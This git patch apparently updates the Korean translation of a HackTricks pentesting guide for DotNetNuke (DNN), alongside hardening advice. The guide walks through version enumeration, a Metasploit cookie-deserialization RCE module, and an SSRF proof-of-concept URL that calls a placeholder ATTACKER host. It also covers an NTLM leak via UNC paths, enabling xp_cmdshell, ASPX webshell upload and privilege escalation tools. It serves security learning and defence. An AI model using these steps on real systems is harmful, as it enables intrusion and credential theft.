From 5a760a1f66c510e68fc91ca1cddca9bbbfe69e32 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 19 Jul 2025 08:09:30 +0000 Subject: [PATCH] Translated ['src/network-services-pentesting/pentesting-web/dotnetnuke-d --- .../pentesting-web/dotnetnuke-dnn.md | 97 +++++++++++++++---- 1 file changed, 76 insertions(+), 21 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index 9fc0a0c78..826c4835f 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -4,37 +4,92 @@ ## DotNetNuke (DNN) -DNN에 **관리자**로 로그인하면 RCE를 얻는 것이 쉽습니다. +DNN에 **관리자**로 로그인하면 **RCE**를 얻는 것이 쉽지만, 최근 몇 년 동안 여러 *인증되지 않은* 및 *인증 후* 기술이 발표되었습니다. 다음 치트 시트는 공격 및 방어 작업 모두에 유용한 기본 요소를 수집합니다. -## RCE +--- +## 버전 및 환경 열거 -### SQL을 통한 방법 +* *X-DNN* HTTP 응답 헤더를 확인하세요 – 일반적으로 정확한 플랫폼 버전을 공개합니다. +* 설치 마법사는 `/Install/Install.aspx?mode=install`에서 버전을 유출합니다 (매우 오래된 설치에서 접근 가능). +* `/API/PersonaBar/GetStatus` (9.x)는 낮은 권한 사용자를 위해 `"dnnVersion"`을 포함하는 JSON 블롭을 반환합니다. +* 라이브 인스턴스에서 볼 수 있는 일반적인 쿠키: +* `.DOTNETNUKE` – ASP.NET 폼 인증 티켓. +* `DNNPersonalization` – XML/직렬화된 사용자 프로필 데이터가 포함되어 있습니다 (구버전 – 아래 RCE 참조). -**`Settings`** 페이지에서 SQL 콘솔에 접근할 수 있으며, 여기서 **`xp_cmdshell`**을 활성화하고 **운영 체제 명령을 실행**할 수 있습니다. +--- +## 인증되지 않은 악용 -**`xp_cmdshell`**을 활성화하려면 다음 줄을 사용하세요: -```sql -EXEC sp_configure 'show advanced options', '1' -RECONFIGURE -EXEC sp_configure 'xp_cmdshell', '1' -RECONFIGURE +### 1. 쿠키 역직렬화 RCE (CVE-2017-9822 및 후속) +*영향을 받는 버전 ≤ 9.3.0-RC* + +`DNNPersonalization`은 내장된 404 핸들러가 활성화될 때마다 모든 요청에서 역직렬화됩니다. 따라서 조작된 XML은 임의의 가젯 체인 및 코드 실행으로 이어질 수 있습니다. ``` -그리고 **"Run Script"**를 눌러 해당 SQL 문을 실행합니다. - -그런 다음, 다음과 같은 방법을 사용하여 OS 명령을 실행합니다: -```sql -xp_cmdshell 'whoami' +msf> use exploit/windows/http/dnn_cookie_deserialization_rce +msf> set RHOSTS +msf> set LHOST +msf> run ``` -### Via ASP webshell +모듈은 패치되었지만 여전히 취약한 버전(CVE-2018-15811/15812/18325/18326)에 대해 올바른 경로를 자동으로 선택합니다. 7.x–9.1.x에서는 **인증 없이** 공격이 가능하며, 9.2.x+에서는 *검증된* 저권한 계정으로 가능합니다. -In `Settings -> Security -> More -> More Security Settings` you can **새로운 허용된 확장자 추가** under `Allowable File Extensions`, and then clicking the `Save` button. +### 2. 서버 측 요청 위조 (CVE-2025-32372) +*영향을 받는 버전 < 9.13.8 – 패치가 2025년 4월에 출시됨* -Add **`asp`** or **`aspx`** and then in **`/admin/file-management`** upload an **asp webshell** called `shell.asp` for example. +구버전 `DnnImageHandler` 수정의 우회를 통해 공격자가 서버에 **임의의 GET 요청**(반-블라인드 SSRF)을 하도록 강제할 수 있습니다. 실제 영향: -Then access to **`/Portals/0/shell.asp`** to access your webshell. +* 클라우드 배포에서 내부 포트 스캔 / 메타데이터 서비스 검색. +* 인터넷에서 방화벽으로 차단된 호스트에 접근. -### Privilege Escalation +개념 증명(대체 `TARGET` & `ATTACKER`): +``` +https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc +``` +요청은 백그라운드에서 트리거됩니다; 콜백을 위해 리스너를 모니터링하세요. -You can **권한 상승** using the **Potatoes** or **PrintSpoofer** for example. +### 3. NTLM 해시 노출 via UNC 리디렉션 (CVE-2025-52488) +*영향을 받는 버전 6.0.0 – 9.x (< 10.0.1)* +특별히 조작된 콘텐츠는 DNN이 `\\attacker\share\img.png`와 같은 **UNC 경로**를 사용하여 리소스를 가져오도록 시도하게 만들 수 있습니다. Windows는 NTLM 협상을 기꺼이 수행하며, 서버 계정 해시를 공격자에게 유출합니다. **10.0.1**로 업그레이드하거나 방화벽에서 아웃바운드 SMB를 비활성화하세요. + +### 4. IP 필터 우회 (CVE-2025-52487) +관리자가 *Host/IP 필터*에 의존하여 관리 포털을 보호하는 경우, **10.0.1** 이전 버전은 리버스 프록시 시나리오에서 `X-Forwarded-For`를 조작하여 우회될 수 있음을 유의하세요. + +--- +## 인증 후 RCE + +### SQL 콘솔을 통한 +**`Settings → SQL`** 아래에 내장된 쿼리 창이 사이트 데이터베이스에 대한 실행을 허용합니다. Microsoft SQL Server에서 **`xp_cmdshell`**을 활성화하고 명령을 생성할 수 있습니다: +```sql +EXEC sp_configure 'show advanced options', 1; +RECONFIGURE; +EXEC sp_configure 'xp_cmdshell', 1; +RECONFIGURE; +GO +xp_cmdshell 'whoami'; +``` +### ASPX 웹쉘 업로드 방법 +1. **`Settings → Security → More → More Security Settings`**로 이동합니다. +2. **Allowable File Extensions**에 `aspx` (또는 `asp`)를 추가하고 **저장**합니다. +3. **`/admin/file-management`**로 이동하여 `shell.aspx`를 업로드합니다. +4. **`/Portals/0/shell.aspx`**에서 이를 트리거합니다. + +--- +## Windows에서의 권한 상승 +**IIS AppPool\**로 코드 실행이 이루어지면, 일반적인 Windows 권한 상승 기법이 적용됩니다. 만약 시스템이 취약하다면 다음을 활용할 수 있습니다: + +* **PrintSpoofer** / **SpoolFool**를 사용하여 *SeImpersonatePrivilege*를 악용합니다. +* **Juicy/Sharp Potatoes**를 사용하여 *Service Accounts*에서 탈출합니다. + +--- +## 강화 권장 사항 (블루 팀) + +* **9.13.9** 이상으로 **업그레이드**합니다 (SSRF 우회 수정) 또는 바람직하게는 **10.0.1** (IP 필터 및 NTLM 문제). +* 설치 후 잔여 **`InstallWizard.aspx*`** 파일을 제거합니다. +* 아웃바운드 SMB (포트 445/139) 이그레스를 비활성화합니다. +* DNN 내에서가 아니라 엣지 프록시에서 강력한 *Host Filters*를 적용합니다. +* 사용하지 않는 경우 `/API/RemoteContentProxy`에 대한 접근을 차단합니다. + +## 참조 + +* Metasploit `dnn_cookie_deserialization_rce` 모듈 문서 – 실용적인 인증되지 않은 RCE 세부정보 (GitHub). +* GitHub 보안 자문 GHSA-3f7v-qx94-666m – 2025 SSRF 우회 및 패치 정보. {{#include ../../banners/hacktricks-training.md}}